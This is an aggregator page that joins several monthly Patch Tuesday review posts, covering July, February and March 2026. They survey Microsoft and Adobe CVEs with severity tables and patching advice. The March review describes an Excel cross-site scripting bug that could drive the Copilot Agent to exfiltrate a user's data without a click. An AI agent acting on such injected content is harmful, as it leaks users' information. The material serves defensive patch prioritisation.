 

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

 

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The March 2026 Security Update Review]]> https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/ Sat, 25 Jul 2026 19:00:43 +0200 📰 IT Security Nachrichten tsecurity.de I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

-    CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

-    CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

-    CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

-    CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-26127 .NET Denial of Service Vulnerability Important 7.5 Yes No DoS
CVE-2026-21262 SQL Server Elevation of Privilege Vulnerability Important 8.8 Yes No EoP
CVE-2026-23651 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26124 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-26122 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21536 Microsoft Devices Pricing Program Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-26144 Microsoft Excel Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26110 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26113 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-26125 Payment Orchestrator Service Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-26131 .NET Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25177 Active Directory Domain Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26117 Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26130 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-23661 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23662 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-23664 Azure IoT Explorer Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26121 Azure IOT Explorer Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-26118 Azure MCP Server Tools Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-23667 Broadcast DVR Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25190 GDI Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-25181 GDI+ Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-26030 * GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable Important 9.9 No No RCE
CVE-2026-23654 * GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26141 Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23665 † Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23674 MapUrlToZone Security Feature Bypass Vulnerability Important 7.5 No No SFB
CVE-2026-26123 Microsoft Authenticator Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26148 † Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-25167 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.4 No No EoP
CVE-2026-26107 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26108 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26109 Microsoft Excel Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-26112 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26134 Microsoft Office Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26106 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26114 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-26105 Microsoft SharePoint Server Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-24283 Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-25165 Performance Counters for Windows Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24282 Push message Routing Service Elevation of Privilege Vulnerability Important 5.5 No No Info
CVE-2026-26115 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-26116 SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-20967 System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-24285 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-24291 Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25186 Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-23660 † Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-24293 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25176 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-25178 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-25179 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-23656 Windows App Installer Spoofing Vulnerability Important 5.9 No No Spoofing
